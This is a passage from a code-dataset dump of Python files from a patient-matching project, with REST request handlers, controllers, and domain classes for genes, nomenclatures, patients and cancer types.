dict()\n\n def add_aberration_set(self, aberration_set: GeneAberrationSet[Score]):\n source = aberration_set.data_source\n with self.__lock:\n assert self.__aberration_set_per_source.get(source) is None\n self.__aberration_set_per_source[source] = aberration_set\n\n def get_aberration_set(self, data_source) -> GeneAberrationSet[Score]:\n with self.__lock:\n aberration_set = self.__aberration_set_per_source.get(data_source)\n return aberration_set\n\n @property\n def aberration_sets(self) -> Iterable[GeneAberrationSet[Score]]:\n return set(self.__aberration_set_per_source.values())\n\n @property\n def an_aberration_set(self) -> GeneAberrationSet[Score]:\n for aberration_set in self.aberration_sets:\n return aberration_set\n return GeneAberrationSet('empty', {})\n" }, { "alpha_fraction": 0.6687657237052917, "alphanum_fraction": 0.6687657237052917, "avg_line_length": 35.1136360168457, "blob_id": "148a1479d1cbc5afcc335dbbc4f01c25a06d7ec4", "content_id": "5bce8720518b4db838f3c852ece19d7f3cc01515", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1588, "license_type": "no_license", "max_line_length": 104, "num_lines": 44, "path": "/computation_and_database/api/request_handlers/CancerTypeListRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import \\\n GeneralRequestHandler\nfrom api.request_handlers.CancerTypeRequestHandler import CancerTypeRequestHandler\n\n\nclass CancerTypeListRequestHandler:\n endpoint = \"/cancer-types/\"\n\n def get(self, general_request_handler: GeneralRequestHandler):\n server = general_request_handler.server\n controller_facade = server.controller_facade\n\n url = general_request_handler.self_url\n\n json_object = {\n 'self': {'href': url},\n 'cancer_types': list()\n }\n\n for id in controller_facade.cancer_type_ids:\n json_object['cancer_types'].append(\n {'href': url + str(id) + \"/\"}\n )\n\n general_request_handler.send_json_response(json_object)\n\n def post(self, general_request_handler: GeneralRequestHandler):\n names_per_nomenclature = general_request_handler.input_json_object.get('names_per_nomenclature')\n\n # Check for syntax errors\n if not general_request_handler.check_names_per_nomenclature_structure(names_per_nomenclature):\n return\n\n controller_facade = general_request_handler.server.controller_facade\n cancer_type_id = controller_facade.make_cancer_type(names_per_nomenclature)\n\n if cancer_type_id not in controller_facade.cancer_type_ids:\n general_request_handler.send_resource_not_found()\n return\n\n CancerTypeRequestHandler().get_for_id(\n general_request_handler=general_request_handler,\n cancer_type_id=cancer_type_id\n )" }, { "alpha_fraction": 0.6393625140190125, "alphanum_fraction": 0.6393625140190125, "avg_line_length": 37.55714416503906, "blob_id": "a25ddfb690ef7a0658f2ec8168aca16107cf82ac", "content_id": "d15306666b47cfb7093da3fbb32d4f3fd4e3b6ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2698, "license_type": "no_license", "max_line_length": 91, "num_lines": 70, "path": "/computation_and_database/controllers/ControllerContext.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.DomainInitializer import DomainInitializer\nfrom domain.state.Metanomenclature import Metanomenclature\nfrom domain.state.Biology import Biology\nfrom domain.state.CancerSubtype import CancerSubtype\nfrom domain.state.CancerType import CancerType\nfrom typing import Iterable, Mapping\nfrom threading import RLock\n\n\nclass ControllerContext:\n\n def __init__(self):\n self.__domain_initializer = DomainInitializer()\n self.__id_per_cancer_subtype = dict()\n self.__id_per_cancer_type = dict()\n self.__cancer_subtype_per_id = dict()\n self.__cancer_type_per_id = dict()\n self.__lock = RLock()\n\n def get_id_for_cancer_subtype(self, subtype: CancerSubtype) -> int:\n with self.__lock:\n return self.__id_per_cancer_subtype.get(subtype)\n\n def get_cancer_subtype_for_id(self, id: int) -> CancerSubtype:\n assert isinstance(id, int)\n with self.__lock:\n return self.__cancer_subtype_per_id.get(id)\n\n def set_id_for_cancer_subtype(self, subtype: CancerSubtype, subtype_id):\n with self.__lock:\n self.__id_per_cancer_subtype[subtype] = subtype_id\n self.__cancer_subtype_per_id[subtype_id] = subtype\n\n def get_id_for_cancer_type(self, type: CancerType) -> int:\n with self.__lock:\n return self.__id_per_cancer_type.get(type)\n\n def get_cancer_type_for_id(self, id: int) -> CancerType:\n with self.__lock:\n return self.__cancer_type_per_id.get(id)\n\n def set_id_for_cancer_type(self, type: CancerType, type_id):\n with self.__lock:\n self.__id_per_cancer_type[type] = type_id\n self.__cancer_type_per_id[type_id] = type\n\n def get_cancer_type_ids(self):\n with self.__lock:\n ids = frozenset(self.__cancer_type_per_id.keys())\n return ids\n\n @property\n def domain_initializer(self) -> DomainInitializer:\n return self.__domain_initializer\n\n @property\n def biology(self) -> Biology:\n return self.domain_initializer.biology\n\n def add_names_to_metanomenclature(self, metanomenclature: Metanomenclature, object,\n names_per_nomenclature: Mapping[str, Iterable[str]]):\n for (nomenclature_name, names) in names_per_nomenclature.items():\n nomenclature = metanomenclature.get_nomenclature(nomenclature_name)\n if nomenclature is None:\n metanomenclature.make_nomenclature(nomenclature_name)\n nomenclature = metanomenclature.get_nomenclature(nomenclature_name)\n nomenclature.add_names_for_object(\n new_names = names,\n object=object\n )" }, { "alpha_fraction": 0.6641477942466736, "alphanum_fraction": 0.6649873852729797, "avg_line_length": 38.66666793823242, "blob_id": "7931ed2b763aacf995ac98b30414b4b16fedb66a", "content_id": "35cdbfb0d1f50bddf2c65dcce1d4e3fbddeed5ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1191, "license_type": "no_license", "max_line_length": 117, "num_lines": 30, "path": "/computation_and_database/api/request_handlers/CancerTypeRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import GeneralRequestHandler\n\n\nclass CancerTypeRequestHandler:\n endpoint = \"/cancer-types/{id}/\"\n\n def get(self, general_request_handler: GeneralRequestHandler):\n cancer_type_id = int(general_request_handler.ids[0])\n self.get_for_id(\n general_request_handler=general_request_handler,\n cancer_type_id=cancer_type_id\n )\n\n def get_for_id(self, general_request_handler: GeneralRequestHandler, cancer_type_id: int):\n server = general_request_handler.server\n controller_facade = server.controller_facade\n\n if cancer_type_id not in controller_facade.cancer_type_ids:\n general_request_handler.send_resource_not_found()\n return\n\n self_url = server.base_url_with_port + CancerTypeRequestHandler.endpoint.replace('{id}', str(cancer_type_id))\n\n json_object = {\n 'self': {'href': self_url},\n 'names_per_nomenclature': controller_facade.get_cancer_type_names_per_nomenclature(cancer_type_id),\n 'subtypes': {'href': self_url + 'subtypes/'}\n }\n\n general_request_handler.send_json_response(json_object)\n\n" }, { "alpha_fraction": 0.6597222089767456, "alphanum_fraction": 0.6597222089767456, "avg_line_length": 26.69230842590332, "blob_id": "679a7b80040a7498737a378be9b1f5faea5c8693", "content_id": "fd42e59e70ff0d02eb3e610f005d1c2ca2478880", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 720, "license_type": "no_license", "max_line_length": 75, "num_lines": 26, "path": "/computation_and_database/domain/state/GeneAberrationSet.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.Gene import Gene as Gene\nfrom typing import Iterable, Mapping, Tuple, TypeVar, Generic\n\n\n# The score for a gene\nScore = TypeVar('Score')\n\n\nclass GeneAberrationSet(Generic[Score]):\n \"\"\"\n One set of gene aberrations of one specific type, from one data source.\n \"\"\"\n\n def __init__(self, data_source, gene_scores: Mapping[Gene, Score]):\n assert data_source is not None\n assert gene_scores is not None\n self.__data_source = data_source\n self.__gene_scores = dict(gene_scores)\n\n @property\n def gene_scores(self) -> Iterable[Tuple[Gene,Score]]:\n return self.__gene_scores.items()\n\n @property\n def data_source(self):\n return self.__data_source\n" }, { "alpha_fraction": 0.5850445628166199, "alphanum_fraction": 0.5850445628166199, "avg_line_length": 32.96052551269531, "blob_id": "dcf16ff44f8214fe03010ba163c47dd54973befc", "content_id": "297fcdb274032c53804680180040df7c1e6b8f12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2581, "license_type": "no_license", "max_line_length": 79, "num_lines": 76, "path": "/computation_and_database/domain/state/Nomenclature.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from typing import Iterable\nfrom threading import RLock as Rlock\n\n\nclass Nomenclature:\n \"\"\"\n A nomenclature for objects like genes or pathways.\n \"\"\"\n\n def __init__(self, object_type):\n \"\"\"\n :param object_type: the type of objects this nomenclature should handle\n \"\"\"\n assert object_type is not None\n self.__object_type = object_type\n self.__objects_per_name = dict()\n self.__names_per_object = dict()\n self.__lock = Rlock()\n\n def get_objects_with_name(self, name: str) -> Iterable:\n assert name is not None\n with self.__lock:\n objects = self.__objects_per_name.get(name)\n if objects is None:\n return frozenset()\n else:\n return frozenset(objects)\n\n def get_object_with_name(self, name: str):\n for object in self.get_objects_with_name(name):\n return object\n return None\n\n def get_names_for_object(self, object) -> Iterable[str]:\n assert object is not None\n with self.__lock:\n names = self.__names_per_object.get(object)\n if names is None:\n return frozenset()\n else:\n return frozenset(names)\n\n def get_name_for_object(self, object) -> str:\n for name in self.get_names_for_object(object):\n return name\n return None\n\n def add_names_for_object(self, new_names: Iterable[str], object):\n assert new_names is not None\n assert object is not None\n assert isinstance(object, self.__object_type)\n with self.__lock:\n self.__update_objects_per_name(new_names, object)\n self.__update_names_per_object(new_names, object)\n\n def __update_objects_per_name(self, new_names: Iterable[str], object):\n \"\"\"\n WARNING: not thread-safe. Use a lock when using this method.\n \"\"\"\n for name in new_names:\n current_objects = self.__objects_per_name.get(name)\n if current_objects is None:\n current_objects = set()\n self.__objects_per_name[name] = current_objects\n current_objects.add(object)\n\n def __update_names_per_object(self, new_names: Iterable[str], object):\n \"\"\"\n WARNING: not thread-safe. Use a lock when using this method.\n \"\"\"\n current_names = self.__names_per_object.get(object)\n if current_names is None:\n current_names = set()\n self.__names_per_object[object] = current_names\n for name in new_names:\n current_names.add(name)\n" }, { "alpha_fraction": 0.6466905474662781, "alphanum_fraction": 0.6471377611160278, "avg_line_length": 28.421052932739258, "blob_id": "9ff997d0dff959186aedfb121fb5eb47908930d1", "content_id": "e10dc284b4c4facc3153e0440b47810764ba2688", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2236, "license_type": "no_license", "max_line_length": 77, "num_lines": 76, "path": "/computation_and_database/domain/state/Patient.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.GeneAberrationRecord import GeneAberrationRecord as\\\n GeneAberrationRecord\nfrom domain.state.CancerSubtype import CancerSubtype as CancerSubtype\nfrom datetime import date\nfrom threading import RLock as RLock\nimport uuid\n\n\nclass Patient:\n \"\"\"\n The similar patient lists are not stored here to avoid circular\n dependencies. This also makes it easier to optimize memory\n because loading one patient in memory wil not automatically\n load others.\n The controllers can simply use a map to keep the similar patient\n lists.\n \"\"\"\n\n def __init__(self):\n self.__mutation_record = GeneAberrationRecord[bool]()\n self.__differential_expression_record = GeneAberrationRecord[float]()\n self.__copy_number_variation_record = GeneAberrationRecord[int]()\n self.__methylation_record = GeneAberrationRecord[float]()\n self.__lock = RLock()\n self.__uuid = uuid.uuid4()\n self.name = None\n self.cancer_subtype = None\n\n @property\n def uuid(self) -> uuid.UUID:\n return self.__uuid\n\n @property\n def mutation_record(self) -> GeneAberrationRecord[float]:\n \"\"\"\n VAF-values\n \"\"\"\n return self.__mutation_record\n\n @property\n def differential_expression_record(self) -> GeneAberrationRecord[float]:\n return self.__differential_expression_record\n\n @property\n def copy_number_variation_record(self) -> GeneAberrationRecord[int]:\n return self.__copy_number_variation_record\n\n @property\n def methylation_record(self) -> GeneAberrationRecord[float]:\n return self.__methylation_record\n\n @property\n def cancer_subtype(self):\n with self.__lock:\n cancer_subtype = self.__cancer_subtype\n return cancer_subtype\n\n @cancer_subtype.setter\n def cancer_subtype(self, cancer_subtype: CancerSubtype):\n with self.__lock:\n self.__cancer_subtype = cancer_subtype\n\n @property\n def name(self):\n \"\"\"\n Can be an alias.\n :return:\n \"\"\"\n with self.__lock:\n name = self.__name\n return name\n\n @name.setter\n def name(self, name: str):\n with self.__lock:\n self.__name = name\n" }, { "alpha_fraction": 0.6699164509773254, "alphanum_fraction": 0.6699164509773254, "avg_line_length": 25.629629135131836, "blob_id": "32abeb666c199e3635690929ffd45a6de1336c9d", "content_id": "c3b409396e74e7cf05c7d9d29f2fbceace8a56eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 718, "license_type": "no_license", "max_line_length": 69, "num_lines": 27, "path": "/computation_and_database/domain/state/Gene.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "import abc\nfrom typing import Iterable\n\n\nclass GeneEventListener(metaclass=abc.ABCMeta):\n\n @abc.abstractmethod\n def gene_created(self, gene: 'Gene'):\n \"\"\"\n Notify the listener that a gene was made.\n \"\"\"\n\n\nclass Gene:\n\n def __init__(self, event_listener: GeneEventListener):\n assert event_listener is not None\n event_listener.gene_created(self)\n self.__interacting_genes = frozenset()\n\n @property\n def interacting_genes(self) -> Iterable['Gene']:\n return frozenset(self.__interacting_genes)\n\n @interacting_genes.setter\n def interacting_genes(self, interacting_genes: Iterable['Gene']):\n self.__interacting_genes = frozenset(interacting_genes)" }, { "alpha_fraction": 0.6608965992927551, "alphanum_fraction": 0.6613404154777527, "avg_line_length": 41.49056625366211, "blob_id": "02ede9591329bd7298bb8399abd4769eedab4ff5", "content_id": "bf7c63cbb0dfdb7412d0f5787b061460949c648d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2253, "license_type": "no_license", "max_line_length": 90, "num_lines": 53, "path": "/computation_and_database/api/request_handlers/HomeRequestHandler.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.GeneralRequestHandler import GeneralRequestHandler\nfrom api.request_handlers.PatientListRequestHandler import\\\n PatientListRequestHandler\nfrom api.request_handlers.CancerTypeListRequestHandler import \\\n CancerTypeListRequestHandler\nfrom api.request_handlers.SimilarPatientsComputationMethodsRequestHandler\\\n import SimilarPatientsComputationMethodsRequestHandler\n\n\nclass HomeRequestHandler:\n \"\"\"\n Handles requests on the / endpoint.\n \"\"\"\n\n endpoint = \"/\"\n\n def get(self, general_request_handler: GeneralRequestHandler):\n print(\"Homepage requested.\")\n\n #Helper variables\n server = general_request_handler.server\n patients_endpoint = PatientListRequestHandler.endpoint\n first_patient_url_param = \\\n PatientListRequestHandler.first_patient_url_param\n number_of_patients_url_param = \\\n PatientListRequestHandler.number_of_patients_url_param\n number_of_patients = \\\n server.configuration_reader.initial_number_of_patients_per_page\n filter_url_param = PatientListRequestHandler.filter_url_param\n\n #The urls that will be used\n all_patients_url = server.base_url_with_port + patients_endpoint\n first_patient_page_url = all_patients_url + \"?\" + \\\n first_patient_url_param + \"=\" + \"0&\" + \\\n number_of_patients_url_param + \"=\" + str(number_of_patients)\n\n\n json_object = {\n \"self\": {'href': general_request_handler.self_url},\n \"patients\" : {\n \"first_page\": {\"href\": first_patient_page_url},\n \"all_patients\": {\"href\": all_patients_url},\n \"filter_url_parameter\": filter_url_param,\n \"first_patient_url_parameter\": first_patient_url_param,\n \"number_of_patients_url_parameter\": number_of_patients_url_param\n },\n \"similar_patients_computation_methods\": { \"href\" : server.base_url_with_port +\n SimilarPatientsComputationMethodsRequestHandler.endpoint},\n \"cancer_types\": {\"href\": server.base_url_with_port +\n CancerTypeListRequestHandler.endpoint}\n }\n\n general_request_handler.send_json_response(json_object)\n\n" }, { "alpha_fraction": 0.6783374547958374, "alphanum_fraction": 0.6783374547958374, "avg_line_length": 40.77358627319336, "blob_id": "39162549e786a2ba456f57d5e4f7a0535282555b", "content_id": "0ee402570bacc3e234b71f4c8bd912646eb09d22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4427, "license_type": "no_license", "max_line_length": 121, "num_lines": 106, "path": "/computation_and_database/controllers/ControllerFacade.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from controllers.ControllerContext import ControllerContext\nfrom controllers.ComputationMethodController import ComputationMethodController\nfrom controllers.PatientController import PatientController\nfrom controllers.CancerTypeController import CancerTypeController\nfrom typing import Iterable, Sequence, Mapping, Tuple\nfrom uuid import UUID\n\n\nclass ControllerFacade:\n \"\"\"\n Any id that will be used should be numeric.\n \"\"\"\n\n def __init__(self):\n self.__controller_context = ControllerContext()\n self.__computation_method_controller = \\\n ComputationMethodController(self.__controller_context)\n self.__patient_controller =\\\n PatientController(self.__controller_context)\n self.__cancer_type_controller =\\\n CancerTypeController(self.__controller_context)\n\n # COMPUTATION METHODS\n\n @property\n def computation_method_controller(self):\n return self.__computation_method_controller\n\n @property\n def computation_method_ids(self) -> Iterable[int]:\n return self.__computation_method_controller.method_ids\n\n def computation_method_name_for_id(self, id: int) -> str:\n return self.__computation_method_controller.get_method_name_for_id(id)\n\n # PATIENTS\n\n def get_patient_ids(self, filter_query: str = None,\n first_patient: int = None,\n number_of_patients: int = None) -> Sequence[UUID]:\n return self.__patient_controller.get_patient_ids(\n filter_query=filter_query,\n first_patient=first_patient,\n number_of_patients=number_of_patients\n )\n\n def get_name_for_patient(self, uuid: UUID) -> str:\n return self.__patient_controller.get_name_for_patient(uuid)\n\n def get_cancer_subtype_id_for_patient(self, patient_id: UUID) -> int:\n return self.__patient_controller.get_cancer_subtype_id_for_patient(patient_id)\n\n def get_cancer_type_id_for_patient(self, patient_id: UUID) -> int:\n return self.__patient_controller.get_cancer_type_id_for_patient(patient_id)\n\n def get_mutated_gene_vafs_for_patient(self, uuid: UUID) -> Iterable[Tuple[str, float]]:\n return self.__patient_controller.get_mutated_gene_vafs(uuid)\n\n def get_expressions_for_patient(self, uuid: UUID) -> Iterable[Tuple[str, float]]:\n return self.__patient_controller.get_expressions(uuid)\n\n def get_methylations_for_patient(self, uuid: UUID) -> Iterable[Tuple[str, float]]:\n return self.__patient_controller.get_methylations(uuid)\n\n def get_cnvs_for_patient(self, uuid: UUID) -> Iterable[Tuple[str, int]]:\n return self.__patient_controller.get_cnvs(uuid)\n\n def new_patient(self) -> UUID:\n return self.__patient_controller.new_patient()\n\n def set_name_for_patient(self, uuid: UUID, name: str):\n self.__patient_controller.set_name_for_patient(\n uuid=uuid,\n name=name\n )\n\n def set_cancer_subtype_for_patient(self, patient_id: UUID, cancer_subtype_id: int):\n self.__patient_controller.set_cancer_subtype_for_patient(\n patient_id=patient_id,\n cancer_subtype_id=cancer_subtype_id\n )\n\n # CANCER TYPES\n\n @property\n def cancer_type_ids(self) -> Iterable[int]:\n return self.__cancer_type_controller.cancer_type_ids\n\n def get_cancer_type_names_per_nomenclature(self, cancer_type_id: int) -> \\\n Mapping[str, Sequence[str]]:\n return self.__cancer_type_controller\\\n .get_cancer_type_names_per_nomenclature(cancer_type_id)\n\n def get_cancer_subtype_ids_for_type(self, cancer_type_id: int) -> Sequence[int]:\n return self.__cancer_type_controller\\\n .get_cancer_subtype_ids_for_type(cancer_type_id)\n\n def make_cancer_type(self, names_per_nomenclature: Mapping[str, Iterable[str]]) -> int:\n return self.__cancer_type_controller.make_cancer_type(names_per_nomenclature)\n\n def get_cancer_subtype_names_per_nomenclature(self, cancer_type_id: int, cancer_subtype_id: int) -> \\\n Mapping[str, Sequence[str]]:\n return self.__cancer_type_controller.get_cancer_subtype_names_per_nomenclature(cancer_type_id, cancer_subtype_id)\n\n def make_cancer_subtype(self, cancer_type_id: int, names_per_nomenclature: Mapping[str, Iterable[str]]) -> int:\n return self.__cancer_type_controller.make_cancer_subtype(cancer_type_id, names_per_nomenclature)" }, { "alpha_fraction": 0.7272727489471436, "alphanum_fraction": 0.7272727489471436, "avg_line_length": 44.22222137451172, "blob_id": "9120d7549284884c53b26d517db6e8b2d9fd3422", "content_id": "e8892afc89c5ecbc7d092dacc68cf089a04ffb2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 407, "license_type": "no_license", "max_line_length": 78, "num_lines": 9, "path": "/computation_and_database/domain/state/__init__.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "\"\"\"\nThread-safety:\n __init__ methods will not be locked.\n An unfinished init will not be a problem since the language spec says\n it is run before the instance is returned to the caller.\n All else will be made thread-safe with simple locks if it can be modified.\n If a new method is added, appropriate locking will have to be added.\n Optimizing might be possible with read-write locks.\n\"\"\"\n" }, { "alpha_fraction": 0.5666666626930237, "alphanum_fraction": 0.5857142806053162, "avg_line_length": 25.3125, "blob_id": "bdea916465cfe8158e0be023a0cf785828f05ef7", "content_id": "32f020ad6ed3da4cd775598984f94cf662aca13a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 420, "license_type": "no_license", "max_line_length": 67, "num_lines": 16, "path": "/computation_and_database/domain/computation/name.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "import numpy as np\nletters_to_contain = set(['i', 'o', 'n', 'p', 'm'])\nnames = np.genfromtxt('yob2016.txt', dtype=str, delimiter=',')[:,0]\nprint(names.shape)\nresult = list()\nfor name in names:\n name = name.lower()\n c = 0\n for letter in letters_to_contain:\n if letter not in name:\n c += 1\n if c<2:\n result.append(name)\nresult.sort(key = lambda s: len(s))\nfor r in result:\n print(r)" }, { "alpha_fraction": 0.7476635575294495, "alphanum_fraction": 0.7476635575294495, "avg_line_length": 26, "blob_id": "7efb3debb223c2bde6edf5aa112e94f661380c8b", "content_id": "bb1bb3160428c65c9d4267d66f65d73596340a45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 107, "license_type": "no_license", "max_line_length": 64, "num_lines": 4, "path": "/computation_and_database/domain/computation/__init__.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "\"\"\"\nFor each method we will make a class. We can then switch between\nclasses to switch between methods.\n\"\"\"" }, { "alpha_fraction": 0.6505848169326782, "alphanum_fraction": 0.6505848169326782, "avg_line_length": 27.54166603088379, "blob_id": "cfda48ad1e0029d5b988d872f97629a7bdb86b15", "content_id": "b088c5bc2404be594b35921f5d8d9f6b83538b1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 684, "license_type": "no_license", "max_line_length": 95, "num_lines": 24, "path": "/computation_and_database/domain/state/SimilarPatient.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.Patient import Patient as Patient\n\nclass SimilarPatient:\n\n def __init__(self, patient: Patient, similarity_explanation: str, similarity_score: float):\n assert patient is not None\n self.__patient = patient\n self.__similarity_explanation = similarity_explanation\n self.__score = similarity_score\n\n @property\n def patient(self) -> Patient:\n return self.__patient\n\n @property\n def similarity_score(self) -> float:\n \"\"\"\n A score representing how similar the patient is.\n \"\"\"\n return self.__score\n\n @property\n def similarity_explanation(self):\n return self.__similarity_explanation" }, { "alpha_fraction": 0.6994750499725342, "alphanum_fraction": 0.6994750499725342, "avg_line_length": 32.88888931274414, "blob_id": "44bb6235360c8e43521e463a29f0225647bf069b", "content_id": "424ec6e7626955921c7275e50f142f54bf4fdce2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1524, "license_type": "no_license", "max_line_length": 80, "num_lines": 45, "path": "/computation_and_database/domain/state/Biology.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.Gene import Gene as Gene\nfrom domain.state.Gene import GeneEventListener as GeneEventListener\nfrom domain.state.Metanomenclature import \\\n Metanomenclature as Metanomenclature\nfrom domain.state.CancerType import CancerType as CancerType\nfrom domain.state.CancerSubtype import CancerSubtype as CancerSubtype\nfrom typing import Iterable\nfrom threading import RLock as RLock\n\n\nclass Biology (GeneEventListener):\n \"\"\"\n __gene_per_id stores genes with their internal id\n \"\"\"\n\n def __init__(self):\n self.__genes_lock = RLock()\n self.__genes = set()\n self.__gene_metanomenclature = Metanomenclature(Gene)\n self.__cancer_type_metanomenclature = Metanomenclature(CancerType)\n self.__cancer_subtype_metanomenclature = Metanomenclature(CancerSubtype)\n\n @property\n def gene_metanomenclature(self) -> Metanomenclature:\n return self.__gene_metanomenclature\n\n @property\n def cancer_type_metanomenclature(self) -> Metanomenclature:\n return self.__cancer_type_metanomenclature\n\n @property\n def cancer_subtype_metanomenclature(self) -> Metanomenclature:\n return self.__cancer_subtype_metanomenclature\n\n @property\n def genes(self) -> Iterable[Gene]:\n with self.__genes_lock:\n genes = frozenset(self.__genes)\n return genes\n\n def gene_created(self, gene: Gene):\n assert gene is not None\n with self.__genes_lock:\n assert gene not in self.__genes\n self.__genes.add(gene)" }, { "alpha_fraction": 0.6161919236183167, "alphanum_fraction": 0.6161919236183167, "avg_line_length": 31.536584854125977, "blob_id": "9b2ee87dfe201b96c087b1ded6bd62d33bf1a2f5", "content_id": "b32182575379ac788558c51019ed48452e062703", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1334, "license_type": "no_license", "max_line_length": 84, "num_lines": 41, "path": "/computation_and_database/domain/state/Metanomenclature.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from domain.state.Nomenclature import \\\n Nomenclature as Nomenclature\nfrom typing import Type, Iterable, Tuple\nfrom threading import RLock as Rlock\n\nclass Metanomenclature:\n \"\"\"\n Stores nomenclatures per name.\n \"\"\"\n\n def __init__(self, object_type: Type):\n \"\"\"\n :param object_type: the types of objects the nomenclatures handle.\n \"\"\"\n assert object_type is not None\n self.__object_type = object_type\n self.__nomenclature_per_name = dict()\n self.__lock = Rlock()\n\n def make_nomenclature(self, name: str):\n assert name is not None\n with self.__lock:\n self.__nomenclature_per_name[name] = Nomenclature(self.__object_type)\n\n def get_nomenclature(self, name: str) -> Nomenclature:\n \"\"\"\n Can return None.\n \"\"\"\n assert name is not None\n with self.__lock:\n nomenclature = self.__nomenclature_per_name.get(name)\n return nomenclature\n\n def get_nomenclatures_per_name(self) -> Iterable[Tuple[str, Nomenclature]]:\n \"\"\"\n Don't use these names to look up nomenclatures. They may have changed.\n Just use the tuples.\n \"\"\"\n with self.__lock:\n nomenclatures_per_name = frozenset(self.__nomenclature_per_name.items())\n return nomenclatures_per_name\n" }, { "alpha_fraction": 0.7191780805587769, "alphanum_fraction": 0.7191780805587769, "avg_line_length": 17.375, "blob_id": "8b303d47c21e7127c2a4bd9124e6d5fec0bd3385", "content_id": "19fe03ec716cb553a6c806508977914cb3280cc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 146, "license_type": "no_license", "max_line_length": 62, "num_lines": 8, "path": "/computation_and_database/domain/state/SimilarPatientsComputationMethod.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "import abc\n\nclass SimilarPatientsComputationMethod(metaclass=abc.ABCMeta):\n\n @property\n @abc.abstractmethod\n def name(self):\n pass" }, { "alpha_fraction": 0.620327353477478, "alphanum_fraction": 0.6205294132232666, "avg_line_length": 38.59199905395508, "blob_id": "de6fd4a5b20c6142d5688caf8100d5588f6d3eb2", "content_id": "be006cee2802d7eebc15d3535fcec881b963c30d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4949, "license_type": "no_license", "max_line_length": 99, "num_lines": 125, "path": "/computation_and_database/controllers/PatientController.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from controllers.ControllerContext import ControllerContext\nfrom domain.state.Patient import Patient\nfrom domain.state.GeneAberrationRecord import GeneAberrationRecord\nfrom typing import Iterable, Sequence, Tuple\nfrom uuid import UUID\nfrom threading import RLock\n\n\nclass PatientController:\n\n def __init__(self, controller_context: ControllerContext):\n self.__controller_context = controller_context\n patients = controller_context.domain_initializer.persisted_patients\n self.__lock = RLock()\n self.__biology = controller_context.biology\n self.__patient_ids = list()\n self.__patient_per_id = dict()\n for patient in patients:\n self.__patient_ids.append(patient.uuid)\n self.__patient_per_id[patient.uuid] = patient\n\n # REQUESTING INFO\n\n def get_patient_ids(self, filter_query: str = None,\n first_patient: int = None,\n number_of_patients: int = None) -> Sequence[UUID]:\n with self.__lock:\n if first_patient is None:\n first_patient = 0\n if number_of_patients is None:\n number_of_patients = len(self.__patient_ids)\n\n if filter_query is None:\n matching_patient_ids = self.__patient_ids\n else:\n matching_patient_ids = []\n for patient_id in self.__patient_ids:\n patient = self.__patient_per_id[patient_id]\n if filter_query in patient.name:\n matching_patient_ids.append(patient_id)\n\n patients_slice = \\\n matching_patient_ids[first_patient:first_patient + number_of_patients]\n ids_tuple = tuple(patients_slice)\n return ids_tuple\n\n def get_name_for_patient(self, uuid: UUID) -> str:\n return self.__get_patient(uuid).name\n\n def get_cancer_subtype_id_for_patient(self, uuid: UUID):\n patient = self.__get_patient(uuid)\n cancer_subtype = patient.cancer_subtype\n if cancer_subtype is None:\n return None\n else:\n return self.__controller_context.get_id_for_cancer_subtype(cancer_subtype)\n\n def get_cancer_type_id_for_patient(self, uuid: UUID):\n patient = self.__get_patient(uuid)\n if patient.cancer_subtype is None:\n return None\n cancer_type = patient.cancer_subtype.cancer_type\n if cancer_type is None:\n return None\n else:\n return self.__controller_context.get_id_for_cancer_type(cancer_type)\n\n def get_mutated_gene_vafs(self, uuid: UUID) -> Iterable[Tuple[str, float]]:\n patient = self.__get_patient(uuid)\n return self.__get_gene_aberrations(patient.mutation_record)\n\n def get_expressions(self, uuid: UUID) -> Iterable[Tuple[str, float]]:\n patient = self.__get_patient(uuid)\n 